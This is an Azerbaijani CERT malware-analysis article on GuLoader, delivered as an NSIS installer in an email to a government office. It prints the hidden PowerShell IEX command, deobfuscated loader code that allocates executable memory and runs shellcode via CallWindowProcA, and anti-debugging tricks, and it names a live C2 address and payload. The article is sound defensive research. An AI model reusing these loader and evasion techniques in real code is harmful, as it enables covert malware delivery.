Computer Emergency Response Center

Olympus Hasn't Fallen: GuLoader - Shellcode çatdırılma xidməti

Prezident Administrasiyasına göndərilən şübhəli e-poçt haqqında laboratoriyamıza məlumat daxil oldu. Daxil olan məlumat əsasında şübhəli məktubun analizinə başladıq.



Fəsil 1: PE haqqında ümumi məlumat toplamaq

Göndərilən məktub 1 ədəd RAR formatında arxiv faylı daşıyırdılar. Rar arxiv içərisində isə 1 ədəd “Skviserne.exe” adında icra edilə bilən fayl saxlanılırdı. Diqqətimizi çəkən ilk məqam şübhəlinin imzalanması lakin bu əməliyyat üçün etibarsız sertifikat-ın istifadə edilməsi oldu.

Bir digər maraqlı məqam isə PE konfiqurasiya faylı içərisində qarşımıza çıxan mətn idi.

Şəkildə görülən mətn “Nullsoft.NSIS.exehead” icra edilə bilən faylın NSIS (Nullsoft Scriptable Install System - windows quraşdırma paketi yaratmaq üçün istifadə edilən) proqram təminatı ilə hazırlandığı haqqında ipucu verirdi. Başqa proqram təminatı da bizə sözü gedən PE faylın NSIS ilə hazırlanmış quraşdırma paketi olduğunu göstərdi.

Fayl haqqında qısa məlumat aldıqdan sonra monitorinq alətlərimizi sazlayaraq zərərverici-ni işə salıb  hansı əməliyyatları icra etdiyinə baxdıq.

Fəsil 2: Şübhəli NSIS paketin fəaliyyətləri

Ilk olaraq paketi işə salaraq quraşdırılma prosesini tamamladıq.

Növbəti əməliyyat olaraq monitorinq alətindən əldə etdiyimiz loqların analizinə başladıq.

Şübhəli  hədəf sistem “Temp\Semplices” qovluğunda “Slagt106.Dis” adında fayl yaradır. Daha sonra öz içərisindən bəzi məlumatları oxuyaraq “Slagt106.Dis” (binar) faylına yazır. Fayl həcmi: 310750

Oxşar əməliyyatı “Temp\Semplices\Amortisabel” qovluğunda “sphygmomanometric.Mat” mətn faylı üzərində icra edir. Fayl həcmi: 70998

Şübhəli bu tipli əməliyyatları aşağıda göstərilən fayllar üzərində təkrarlayır.

  • Temp\Semplices\Kologs\Amies\Affaldsbortskaffelsesomraader\rectories\Bes.tre
  • Temp\Semplices\Kologs\Amies\Affaldsbortskaffelsesomraader\rectories\Smoothfaced.sik
  • Temp\Semplices\Plesianthropus83\analogues.the
  • Temp\Semplices\Unmocking\Datalogistudiets\archesporia.kla
  • Temp\Semplices\Unmocking\Datalogistudiets\egnsteatres.txt
  • Temp\Semplices\Unmocking\Datalogistudiets\fiskeriinteressernes.car
  • Temp\Semplices\Unmocking\Datalogistudiets\knivskarpes.hal

Yuxarıdakı faylların 99% binar formatında idi. İstisna: egnsteatres.txt, sphygmomanometric.Mat

Bundan sonra sistemdə mövcud olmayan fayllar üzərində oxuma əməliyyatları icra edir. Bunu“özünü normal fəaliyyət göstərən proqram təminatı kimi qələmə vermək üçün” etdiyini ehtimal edirik. Oxuma əməliyyatlarından sonra NSIS proqram təminatı üçün hazırlanan əlavə (plugin) nsExec.dll kitabxana faylını (“Temp\nsl5882.tmp\nsExec.dll”) yaradır. Bu əlavə NSIS skript dilində başqa prosesləri işə salmağa köməkçi olması üçün istifadə edilir.

Kitabxana faylını yazdıqdan sonra kitabxana faylını öz yaddaşına yükləyir. Bu isə bizə şübhəlinin başqa prosesi işə salacağı haqqında ipucu verirdi.

Düşündüyümüz kimi nsExec.dll kitabxanasını istifadə edərək PowerShell prosesini işə salınır.

Burada diqqətimizi çəkən başqa bir məqam yaradılan PowerShell prosesinin komanda sətri idi:

"powershell.exe" -windowstyle hidden "$genom=Get-Content 'C:\Users\XXX\AppData\Local\Temp\Semplices\Amortisabel\sphygmomanometric.Mat';$Tintometric14=$genom.SubString(70960,3);.$Tintometric14($genom)"

PowerShell prosesinə “Temp\Semplices\Amortisabel\sphygmomanometric.Mat” oxumaq (Get-Content) əmri göndərilib. Bu isə sözü gedən fayl içərisində PowerShell skriptinin olduğunu bizə deyirdi. Lakin yuxarıda şəkildə göstərilən sphygmomanometric.Mat faylının tərkibinə baxsaq olduqca güclü şəkildə obfuskasiya edildiyini görürük. Fayl aktivliklərində sonuncu maraqlı məqam PowerShell-in son olaraq başqa bir legitim Windows proqram təminatı “C:\Program Files (x86)\windows mail\wab.exe” işə saldığını gördük.

Zərərvericiyə aid proses ağacı:

Şübhəlinin zərərverici olduğuna əmin olduqdan sonra şəbəkə fəaliyyətlərinə baxdıq.

Növbəti əməliyyat olaraq zərərvericiyə aid şəbəkə aktivliklərinə baxdıq. Zərərverici 80-ci port (HTTP) üzərindən 69.12.64.151 ünvanına bağlanmağa cəhd edir.

Zərərverici burada HTTP üzərindən “XaAblnvH152.bin” faylını (faydalı yük olduğunu ehtimal edirik) sistemə endirməyə çalışır. Lakin sözü gedən ünvan fəaliyyətini dayandırdığı üçün fayl içərisində nə olduğu bizə qaranlıq qaldı. Lakin bir çox mənbələr yükləyicinin sistemə RAT endirdiyini aşkar etmişdir. Maraqlı məqam isə sözü gedən HTTP sorğusunu legitim proqram təminatı wab.exe tərəfindən göndərilməsi idi. Zərərverici özünü wab.exe içərisindən işə salmışdı.



Fəsil 3: NSIS (Nullsoft Scriptable Install System)

Zərərvericinin hədəf sistemdə yayılmaq üçün NSIS proqram təminatından istifadə etdiyi artıq bizə məlum idi. NSIS istifadəçiyə quraşdırma əməliyyatını istədiyi kimi idarə etməyə imkan yaradan skript mühərrikinə malikdir. Skript quraşdırılmaq istənən fayllar ilə birlikdə kompilasiya edilərək vahid quraşdırma paketi yaradılır. Faylların hansı qovluğa yazılacağı, istifadəçiyə göstəriləcək mesajlar, işə salınması lazım olan proqramlar və s. məhz skriptin köməkliyi ilə idarə olunur. Bu fəsildə sözü gedən paket ilə gələn skriptin analizi həyata keçiriləcəkdir.

Paket ixrac etdikdən sonra qovluq hiyearxiyası aşağıdakı şəkildədir.

İlkin baxış zamanı 594 sətirdən ibarət skriptin antiviruslardan yayınmaq üçün müxtəlif “mənasız” əməliyytlar və  obfuskasiya edildiyinin şahidi olduq. Əlavə olaraq bəzi əmrlərin düzgün şəkildə dekompilasiya edilmədiyini müşahidə etdik.

Lakin mövcud skript işimizi görəcək qədər lazım olan məlumatları bizə təqdim etmişdi. Analiz zamanı önəmli əməliyyatların “Springavancementerne” bölməsi içərisində icra edildiyini aşkarladıq. Burada bölmə sonunda nsExec.dll tərəfindən ixrac edilən “ExecToStack” funksiyası "$_92_ $6$8$3" parametri ilə çağrılır.

Debug aləti ilə nsExec tərəfindən ixrac edilən nsExecToStack funksiyası breakpoint təyin edib parametr olaraq nə qəbul etdiyinə baxdıq. Funksiyaya göndərilən parametr PowerShell-i işə salan zamanı istifadə edilən komanda sətri əmri idi.

Lakin skript içərisində sözü gedən komanda sətri əmrinə rast gəlmədik. Yenidən ExecToStack funksiyasına, daha dəqiq desək qəbul etdiyi parametrlərə baxmaq qərarına gəldik.

nsExec::ExecToStack "$_92_ $6$8$3"

Burada ilk parametr “$_92_” dəyişənində saxlanılan dəyər idi.

Dəyişənə obfuskasiya edilmiş mətn mənimsədilir. Ardınca çağrılan “func_0” qeyri-adi hər hansı bir əməliyyat icra etmirdi. Növbəti çağrılan funksiyada (func_180) isə diqqətimizi çəkən bəzi məqamlar oldu.

Function func_180
  StrCpy $_94_ $_96_
  FindWindow $_21_ "#32770" "" $HWNDPARENT
  StrCpy $_93_ $_96_
  ExecShell open $STARTMENU\Encia113.tek    ; "open $STARTMENU\Encia113.tek"
  ExpandEnvStrings $_27_ %hleren%\stivnen\appliableness\overdkningers\rigsombuddene\dataindustriens
  IntOp $_93_ $_93_ + 44;PAD_STRING_JUNK
  IntCmpU $_19_ 32403 label_187
label_187:
  FileRead $_34_ $_34_
  IntOp $_93_ $_93_ + 7
  StrCpy $_95_ $_92_ 1 $_93_
  SetRegView 32
  SectionGetText 2 $_33_
  StrCmp $_95_ $_96_ label_201
  InstTypeSetText 2 nonsteroid
  StrCpy $_94_ $R0$_94_$_95_
  IntOp $_93_ $_93_ + 1
  ExpandEnvStrings $_26_ %cerebrize%\trustingness\styrelseslovens\symboler\dialektologien\Oxydere218
  Delete sprnghovedets\hovertrain\levemand.let
  Goto label_187
  SetFileAttributes $DOCUMENTS\eftermrknende\substantify\Moskito\reneutralized\columbidae.ved HIDDEN
  UnRegDLL $COMMONFILES\probiology\noncustomarily\Anfordringens\angeles\decoupler\snebolde\Acetamide.dll
label_201:
  SetDetailsView hide
  Push $_94_
  DeleteRegKey /ifempty HKCU Software\selvherskerens\Multisacculated\Erech\irresistance\outtire
  ExecShell open $STARTMENU\Encia113.tek    ; "open $STARTMENU\Encia113.tek"
  DetailPrint Udvlgelseskriteriums205
FunctionEnd

Burada obfuskasiya üçün bəzi lazımsız əməliyyatlar ilə yanaşı bəzi dəyişənlər üzərində riyaz əməliyyatlar aparılırdı. ExecToStack ilk parametri $_92_ idi.

$_92_ = “Phytopharmacology Databasemodellen Kammerjge$5NonconvpPremealoForlberw NinetyePalpablrLsningss Afgifth QueruleAlumnenlBestandlHrgesvi.relinineSkattelxNonannue$5Draabei Telobla-SyndactwSignalii rudimenSmultundHandlefoAlrunerwProtonesGymnicstTabacisy BedmmelQuartereBlander ParanoihAscomyci Charged indfredJeannieeDrainagn”

Burada ilk olaraq “func_180” içərisində ilk 44 xarakter (offset) atlanır.

İlk 45 baytdan sonra sonra gələn dəyişən ($5) pass keçirik. $5 = [“]. Bundan sonra isə dövr içərisində mətn sonuna qədər 7 hər 7-i baytdan sonra gələr xarakter götürülür və dəyişən içərisində saxlanılır.

Yuxarıdakı şəkildə funksiya hər 7 baytdan sonra gələn xarakteri (yaşıl rəng) toplayır və ExecToStack funksiyasına ilk parametr (“powershell.exe -windowstyle hidden”) olaraq göndərir. Digər parametrlərdə oxşar şəkildə deobfuskasiya edilir və PowerShell proqramı

"powershell.exe" -windowstyle hidden "$genom=Get-Content 'C:\Users\XXX\AppData\Local\Temp\Semplices\Amortisabel\sphygmomanometric.Mat';$Tintometric14=$genom.SubString(70960,3);.$Tintometric14($genom)"

əmri ilə çağrılır.

Fəsil 4 – Obfuskasiya edilmiş PowerShell skripti

Icra edilən əmr "powershell.exe" -windowstyle hidden "$genom=Get-Content 'C:\Users\XXX\AppData\Local\Temp\Semplices\Amortisabel\sphygmomanometric.Mat';$Tintometric14=$genom.SubString(70960,3);.$Tintometric14($genom)"

ilk olaraq "$genom=Get-Content 'C:\Users\XXX\AppData\Local\Temp\Semplices\Amortisabel\sphygmomanometric.Mat'; əmri ilə $Genom dəyişəninə “sphygmomanometric.Mat” kontentini mənimsədir.

Növbəti $Tintometric14=$genom.SubString(70960,3); əmri ilə $Tintometric14 dəyişəninə $genom içərisində, 70960 index-dən (offset) başlayaraq növbəti 3 xarakterlik mətn (iex) mənimsədilir.

Son olaraq “$Tintometric14($genom)” əmri çağrılır. $Tintometric14 içərisində IEX mətninin saxlandıldığını bilirik. Bu PowerShell komandalarını icra etməyə imkan yaradan “Invoke-Expression (iex)” əmrinin qısalmasıdır. Sözü gedən qısaltma ilə “sphygmomanometric.Mat” içərisində obfuskasiya edilmiş skript işə salınır.

70998 bayt həcmində obfuskasiya edilmiş skript anlaşılmayan mətnlərdən ibarət idi.

Əlbətdə skriptin icra edə bilməsi üçün içərisində mütləq şəkildə powershell-in anlayacağı mətnlər olmadı idi. Yuxarıda IEX əmrinin skript içərisində necə saxlanıldığını aşkar etmişdik. Skriptin sonlarına doğru əsas kodların olduğunu hissə qarşımıza çıxdı.

Kodları bu şəkildə təhlili olduqca çətin olduğu üçün ilk olaraq skripti daha oxunaqlı hala gətirdik.

Skripti analiz etdiyimiz zaman NSIS skripti ilə oxşar əməliyyatı icra etdiyini aşkarladıq. Əsas deobfuskasiya funksiya “Urnordiske9” özünə parametr olaraq gələn mətnlər üzərində ilk 7 baytı pass keçir. Bundan sonrakı xarakterlər üzərində isə +8 bayt tullanaraq yerdə qalan xarakteri $Decine dəyişənində toplayır. Sonda $Decine dəyişənində toplanan məlumat (skript) işə salınır.

Kodları deobfuskasiya etmək üçün powershell deobfuskasiya əməliyyatını təqlid edən kiçik bir skript yazıb mətnləri deobfuskasiya etdik.

Misal aşağıdakı sətirin nəticəsi:

$trefagsvindue0 = Urnordiske9 'KommuniIVariabeEUnderbaXPawskil';

Skripti deobfuskasiya etdikdən sonra qarşımıza obfuskasiya edilmiş daha bir skript çıxdı.

Skripti yenidən oxunaqlı hala gətirdikdən sonra bu skript üzərində yeni deobfuskasiya əməliyyatına başladıq.

Obfuskasiya edilmiş yeni skriptdə, deobfuskasiya əməliyyatını "Decine04" funksiyası yerinə yetirir. Funksiya özünə parametr olaraq gələn hexa mətnləri öncə binar formatına çevirir.

Daha sonra isə bundan öncəki skriptdə yer alan "Urnordiske8" funksiyası çağrılaraq 40 ilə xor əməliyyatına salır.

Sözü gedən əməliyyatı icra təqlid edən python skripti:

Deobfuskasiya edilmiş skript (tərəfimizdən bəzi dəyişikliklər edilmişdir):

Skript ilk olaraq prosesin (powershell) debug edilməsinin qarşısını almaq üçün parent prosesin idetifikasiya (pid) nömrəsini götürür və id üzərindən prosesi dayandırır.

$global:Empirebordenes8122 = (Get-WmiObject Win32_Process | Where-Object { $PID -contains $_.ProcessID }).ParentProcessID
$global:Empirebordenes8123 = Get-Process -Id $Empirebordenes8122 -FileVersionInfo | Select -ExpandProperty FileName
Stop-Process -ID $Empirebordenes8122 -Force

Bundan sonra shellkodu işə salmaq üçün GetProcAddress funksiyası ilə kernel32.dll tərəfindən ixrac edilən “VirtualAlloc”, user32.dll içərisindən isə “ShowWindow” və “GetConsoleWindow” funksiyalarının adreslərini götürür. ShowWindow (+GetConsoleWindow) funksiyaları ilə Powershell pəncərəsi gizlədilir. Daha sonra 2 proses yaddaş bölgəsində 2 ədəd ərazi ayırır. Bunlardan ilki 0x40 qoruma dəyəri ilə ayrılır. Bu isə sözü gedən ərazidə kod icra ediləcəyi haqqında bizə ipucu verdi.

$global:AllocatedMemory = $VirtualAlloc_Ptr.Invoke([IntPtr]::Zero, 15161, 0x3000, 0x40)
$global:AllocatedMemory2 = $VirtualAlloc_Ptr.Invoke([IntPtr]::Zero, 65351680, 0x3000, 0x4)

Yaddaş əraziləri ayrıldıqdan sonra “Temp\Semplices” qovluğunda yerləşən “Slagt106.Dis” faylını oxuyaraq ayrılan ərazilərə köçürülür.

$global:shellcode = [System.IO.File]::ReadAllBytes($Empirebordenes812)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 3048,  $AllocatedMemory, 15161)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 15161+3048, $AllocatedMemory2, $shellcode.count-15161-3048)

$Empirebordenes812="$env:TEMP\Semplices\Slagt106.Dis";

Son olaraq user32.dll tərəfindən ixrac edilən "CallWindowProcA" funksiyası aşağıdakı parametrlər ilə çağrılaraq shellkod işə salınır.

.Invoke($AllocatedMemory,$AllocatedMemory2,$Misreliesnlage,0,0) 

Burada AllocatedMemory icra ediləcək shellkodlar, AllocatedMemory2 içərsində isə shellkodun fəaliyyət üçün lazım olan məlumatların saxlanıldığı adresləridir. $Misreliesnlage isə “NtProtectVirtualMemory” funksiyasının adresi.

 

Fəsil 5 – Shellcode

Olduqca kompleks şəkildə hazırlanan shellkodun analizi prosesini asanlaşdırmaq üçün shellkodu birbaşa powershell içərisindən deyil, shellkodu icra edəcək powershell skriptinin oxşarını C dilində yazaraq kiçik alət üzərindən debug etdik.

Shellkodun CallWindowProcA funksiyası üzərindən icra edildiyini bilirik. Sözü gedən funksiya çağrıldığı zaman ilk parametr olaraq shellkodun saxlanıldığı yaddaş ərazisi göndərilir. Bu isə sözü gedən funksiyada lpPrevWndFunc parametrinə qarşılıq gəlir. Funksiya sözü gedən ünvanda lpPrewWndFunc olduğunu zənn edərək burada saxlanılan zərərli kodları icra etməyə başlayır.

Analiz prosesini və analitiki bezdirmək üçün shellkod olduqca kompleks şəkildə hazırlanmışdı. Olduqca uzun zibil kodlar (junk codes), debugger, virtual mühit aşkarlanması və s kimi metodlardan istifadə edilmişdi.

Olduqca uzun zibil kodlardan sonra NtProtectVirtualMemory funksiyası çağrılır və CallWindowProcA funksiyasına göndərilən 2-ci və əsas shellkodların saxlandığı ünvana PAGE_EXECUTE_READWRITE imtiyazı verilir.

Burada diqqətimizi çməkən məqam zərərverici NtProtectVirtualMemory funksiyasının olduğu adresi deyil funksiyanın saxlandığı adres + 5 bayt sonrasını çağırır. Bunun səbəbi hook və ya debugger alətlərindən yayınmaqdır.

NtProtectVirtualMemory funksiyası:

Burada diqqət etsəniz orjinal funksiya MOV EAX, 0xD7 ilə başlayır. Zərərverici burada EAX dəyişəninə 0xD7 dəyərini öncədən mənimsədərək birbaşa MOV EDX,<&KiFastSystemCall> sətrinə tullanır. Əgər NtProtectVirtualMemory funksiyasına breakpoint təyin edilibsə zərərli kodlar breakpoint təyin edilən adresə düşmür və breakpointdən yayınır.

Əsas təhlükəli kodların yer aldğı adresə RWX imtiyazı verdikdən sonra növbəti zibil kodlar icra edilir və RWX içərisində saxlanılan shellkodlar çağrılır.

Shellkod növbəti əməliyyat olaraq process yaddaşından (ThreadInformationBlock->ProcessInformationBlock) NTDLL.DLL kitabxanasının adresini əldə edir.

DBJ2Hash

Shellkod istədiyi kitabxana fayl adlarını və onlara aid funksiya adlarını açıq şəkildə istifadə etmir. Bunun əvəzinə modifikasiya edilmiş DBJ2 xeş alqoritmindən istifadə edir.

Burada ilk olaraq PUSH 0x822B5B94 əmri ilə 0x822B5B94 dəyərini parametr olaraq 0x3726337 adresində yerləşən funksiyana göndərir. Bu funksiya içərisində ilk PEB üzərindən əldə etdiyi kitabxana adlarının xeş dəyərlərini generasiya edir və 0x822B5B94 ilə qarşılaşdırır. Bu xeş dəyəri isə NTDLL.DLL mətninin xeş dəyəridir. Standart DBJ2 alqorithmi python dilində aşağıdakı kimidir.

def hash_djb2(s):                                                                                                                                
    hashcode = 5381
    for x in s:
        hashcode = (( hashcode << 5) + hashcode) + ord(x)
    return hashcode & 0xFFFFFFFF

Zərərvericinin modifikasiya etdiyi xeş funksiyasında yuxarıda göstərilən hashcode dəyəri daha bir əməliyyata salınır və 0x706CACC9 dəyəri ilə xorlanır.

Burada bir digər maraqlı məqam zərərverici bir çox kritik dəyərləri açıq olaraq saxlamır. İstifadə ediləcək dəyəri almaq üçün müxtəlif təlimatlardan istifadə edir. Misal olaraq DBJ2 funksiyasında hashcode dəyişəninə 5381 dəyəri mənimsədilir. Shellkod bu dəyəri mənimsətmək üçün aşağıda göstərilən yayındırıcı təlimatlardan istifadə edir.

Zərərverici sözü gedən xeş alqoritması-nı istifadə edərək NTDLL tərəfindən ixrac edilən 2 ədəd funksiya adresini əldə edir (Explort tablosu üzərindən). NtGetThreadContext (0x804084c4)və RtlAddVectoredExceptionHandler (0x875ecad).

Növbəti əməliyyat olaraq RtlAddVectoredExceptionHandler funksiyası çağrılır və işləyici (handler) funksiyası (0x037295BD) qeydiyyatdan keçirilir.

 

İstisna işləyici

Zərərvericinin ən can alıcı hissəsi məhz istisna işləyicisidir (vectored exception handler). Zərərverici bu metoddan debugger alətlərindən yayınmaq bundan əlavə olaraq zərərverici analiz edən analitikin işini çətinləşdirmək və bəd niyyətli axınları  gizlətmək üçün istifadə edir. Proqramlaşdırma ilə məşğul olan şəxslər exception handler-I, try-except blokundan xatırlayacaqlar. Kodların icrası zamanı hər hansı xəta verərsə əməliyyat sistemi proqrama bu xətanı istisna işləyicisi (exception handler) ilə bərpa etməyə imkan yaradır. Bərpa olmadığı halda isə crash adını verdiyimiz hadisə baş verir. GuLoader isə bu əməliyyatdan analiz prosesini çətinləşdirmək üçün istifadə edir. Etiraf etməliyik bu GuLoader-də olduqca uğurlu alınıb. Normal şəraitdə (proqram debug edilmirsə) hər hansı exception zamanı sistem ilk olaraq proqramın debug edilib-edilmədiyini yoxlayır. Əgər debugger aləti proqrama attach edilibsə xəta debugger-ə yönləndirilir. Baş verən xəta ilə nə edəcəyinə proqram debug edən şəxs (debugger) qərar verməlidir. Yox əgər proqram debug edilmirsə əməliyyat sistemi SEH (VEH bunun genişləndirilmiş versiyasıdır) adı verilən mexanizmi işə salır. Əgər proqram öncədən istisna işləyicisini qeydiyyatdan keçiribsə bu zaman axın sözü gedən işləyiciyə yönləndirilir. GuLoader sözü gedən mexanizmi əsas kodları gizlətmək üçün istifadə edir. Beləki özü saxta xətalar yaradaraq kod axışını VEH içərisində qeydiyyatdan keçirtdiyi funksiya-ya yönləndirir. Bu funksiya içərisində axının adresini dəyişir (EIP) və yeni adresdən kodların icrasına davam edir. Burada problem yaradan məsələ xətaların olduqca çox olmasıdır. Misal olaraq GuLoader mövcud olmayan hər hansı bir yaddaş ərazisinə məlumat yazmağa çalışır. Bu zaman istisna (exception) yaranır. Əgər proqram debug edilmirsə axın 0x37295BD adresinə yönləndirilir. Burada GuLoader axını xüsusi kodlar ilə növbəti normal kodların icra olunacağı adresə yönləndirir. Bunu daha yaxşı görmək üçün analiz prosesinə davam edirik və ilk istisnamızla qarşılaşırıq. Burada biz nə edəcəyimizi bilmədiyimiz üçün kodların VEH-də qeydiyyatdan keçən istisna işləyicisinə 0x037295BD  yönləndirilməsinə icazə veririk. Misal olaraq EXCEPTION_ACCESS_VIOLATION istisnasını analiz edək.

Burada GuLoader MOV DWORD PTR DS:[EDI], ECX ilə ECX registerində olan dəyəri, DS:[EDI] içərisində göstərilən adresə yazmağa cəhd edir. Lakin DS:[EDI] içərisində belə bir adres mövcud olmadığı üçün proqram istisna yaradır. İstisna adresi: 036E3446

Bizim burada müdaxilə etmək imkanımız olmadığı üçün icazə veririk istisna işləyicisi çağrılsın və nə etdiyinə baxaq.

RtlAddVectoredExceptionHandler undocumented funksiya olduğu üçün məqalədə AddVectoredExceptionHandler funksiyası üzərindən analiz prosesi davam etdiriləcək. Funksiya prototipi.

PVOID AddVectoredExceptionHandler(
  ULONG                       First,
  PVECTORED_EXCEPTION_HANDLER Handler
);

Burada ilk parametr istisna zamanı istisna işləyicinin ilk çağrılıb-çağrılmayacağıdır. Digər parametr isə istisna işləyicinin adresidir (036E3446). İstisna işləyicinin prototipi:

PVECTORED_EXCEPTION_HANDLER PvectoredExceptionHandler;

LONG PvectoredExceptionHandler(
  [in] _EXCEPTION_POINTERS *ExceptionInfo
)

Funksiya parametr olaraq EXCEPTION_POINTERS strukturunu qəbul edir. Sözü gedən struktur özündə 2 vacib struktura işarə edir.

typedef struct _EXCEPTION_RECORD {
    DWORD    ExceptionCode;
    DWORD ExceptionFlags;
    struct _EXCEPTION_RECORD *ExceptionRecord;
    PVOID ExceptionAddress;
    DWORD NumberParameters;
    ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
    } EXCEPTION_RECORD;
typedef struct _CONTEXT {
    DWORD ContextFlags;
    DWORD   Dr0;
    DWORD   Dr1;
    DWORD   Dr2;
    DWORD   Dr3;
    DWORD   Dr6;
    DWORD   Dr7;
    FLOATING_SAVE_AREA FloatSave;
    DWORD   SegGs;
    DWORD   SegFs;
    DWORD   SegEs;
    DWORD   SegDs;
    DWORD   Edi;
    DWORD   Esi;
    DWORD   Ebx;
    DWORD   Edx;
    DWORD   Ecx;
    DWORD   Eax;
    DWORD   Ebp;
    DWORD   Eip;
    DWORD   SegCs;
    DWORD   Eflags;
    DWORD   Esp;
    DWORD   SegSs;
    BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
} CONTEXT;

036E3446 adresində istisna getdikdən sonra sistem axını istisna işləyicisinə (036E3446) yönləndirir. Zərərverici ilk olaraq EXCEPTION_RECORD strukturunda saxlanılan istisna kodunu oxuyur.

Daha sonra istisna kodunu öncədən hazırladığı istisna kodları ilə qarşılaşdırır. Nəticəyə görə növbəti əməliyyatın hansı olacağını təyin edir.

Əgər baş verən istisna siyahıda mövcud deyilsə geriyə 0 qaytarır və proqramı sonlandırır.

Bundan sonra CONTEXT strukturunu götürür və struktur içərisidə debug registerlərin (dr [0-7]) dəyərlərini yoxlayır. Bunun etməyinin səbəbi hardware breakpoint təyin edilib-edilmədiyini yoxlamaqdır. Zərərverici analitikləri zərərvericiyə yaxalanmamaq üçün bəzən standart breakpoint əvəzinə bu breakpoint metodundan istifadə edirlər.

Daha sonra aşağıdakı kod hissəsindən 0x20 dəyərini generasiya edir və funksiyadan çıxır.

Ardınca 0xB8 (unikal) dəyərini generasiya edərək bununla EXCEPTION_RECORD strukturundan istisna baş verən addresi götürür və bu adresin (istisna baş verən) üzərinə 0x22 dəyərini əlavə edir.

Son olaraq istisnadan sonra çağrılacaq yeni axın adresini genersiya etmək üçün sonuncu funksiyanı çağırır. Bu funksiya içərisində zərərverici yuxarıda əldə etdiyi adresdən (istisna baş verən adres (036E3446) + 0x22) 1 bayt oxuyur.

Oxuduğu bayt ilə (0x7) 0x20-ni xorlayır EXCEPTION_RECORD içərisində saxlanılan istisna baş verən adresi bu adres ilə əvəz edərək sistemə növbəti kodların icra ediləcəyi yeni adresi bildirir.

Burada növbəti maraqlı məqam isə zərərvericini analiz edən şəxsin yalnışlıqla başqa istisnanı tətikləməsi və zərərvericinin normal axından ayrılaraq tamam başqa kodları proqram xəta verənə qədər davam etdirməsidir. Belə olan halda analiz edən şəxs sanki hər şey normalmış kimi analiz prosesinə davam etsə belə zərərvericinin əslində hansı əməliyyatları icra edəcəyini görməyəcəkdir (istisna işləyəci, axını ona aid olmayan adreslərə yönləndirəcəkdir). Misal olaraq aşağıdakı kod blokuna baxaq.

Burada zərərverici PUSHFD ilə ELFLAGS registerini stack ərazisinə ataraq burada Trap Flag (TF) set edir. Əgər kodlar debug edilmirsə burada 1 ilə göstərilən təlimatda SINGLE_STEP istisnası yaranacaq. Normalda bu istisna yaranmalıdır və zərərverici istisna işləyici içərisində uyğun əməliyyatları aparmalıdır. Lakin kodu analiz edən şəxs səhvən burada SINGLE_STEP (debugger TF bayrağını təmizləyir) ilə kodları analiz etməyə cəhd edərsə 2 ilə göstərilən təlimatda istisna yaranır. Bu zaman artıq istisna işləyici tamamı ilə fərqli əməliyyatları icra etməyə başlayır və proqram xəta verir.

Beləliklə zərərverici bütün kritik əməliyyatları bu metod üzərindən apararaq onu analiz edən şəxsin kodları izləməyini çətinləşdirir. Bunlardan əlavə olaraq bəzi kritik hesab etdiyi sistem çağırışlarını məqalədə (https://mrl.cert.gov.az/az/articles/view/111 ) göstərildiyi kimi NTDLL.DLL içərisindən deyil birbaşa çağırır (direct system call), prosesin yaddaşında virtual maşın və debug alətlərinə aid izləri aşkarlamağa çalışır, öz kodları arasında dəyişiklik edilib-edilməyini yoxlayır və s.

NtQueryInformationProcess (ProcessDebugPort) ilə debugger alətinin aşkar edilməsi.

Əsas axının NtSetInformationThread (HideFromDebugger) ilə gizlədilməsi.

Bu testləri bitirdikdən sonra isə wab.exe prosesini işə salaraq shellkodları bu proses içərisində inyeksiya edir. Özünü kopyaladığı proses içərisində də oxşar əməliyyatları icra etdikdən sonra əsas faydalı yükü internetdən endirir və icra edir. Bu əməliyyatlar haqqında əlavə məlumatları istinadlar bölməsindən əldə edə bilərsiniz.

 

IOCs

MD5: 361A240997550EBD0B443D63119F5963
SHA-1: ABED050265E7B774DD1C23F750B8B865084ED0F7
SHA-2: 5C4B3F294087E7FFEB6632054D939CBF0D3F304450651555C969C66C7999D46A
MD5: 66BCA9391D3610D5F16E8CC8DB45A962
SHA-1: 587171885E9DD7E76EC95A29827AF6766F0ACBA5
SHA-2: 581FDF9E0A55E6121DFA4B0F662AF19FE323492170A19B4181FC4BC941424B1A

 

 

İstinadlar

[1] https://research.checkpoint.com/2023/cloud-based-malware-delivery-the-evolution-of-guloader/
[2] https://www.crowdstrike.com/blog/guloader-dissection-reveals-new-anti-analysis-techniques-and-code-injection-redundancy/
[3] https://www.mcafee.com/blogs/other-blogs/mcafee-labs/guloader-campaigns-a-deep-dive-analysis-of-a-highly-evasive-shellcode-based-loader/
[4] https://www.elastic.co/security-labs/getting-gooey-with-guloader-downloader
[5] https://www.crowdstrike.com/blog/guloader-malware-analysis/
[6] https://unit42.paloaltonetworks.com/malware-configuration-extraction-techniques-guloader-redline-stealer/

 

Press ESC to close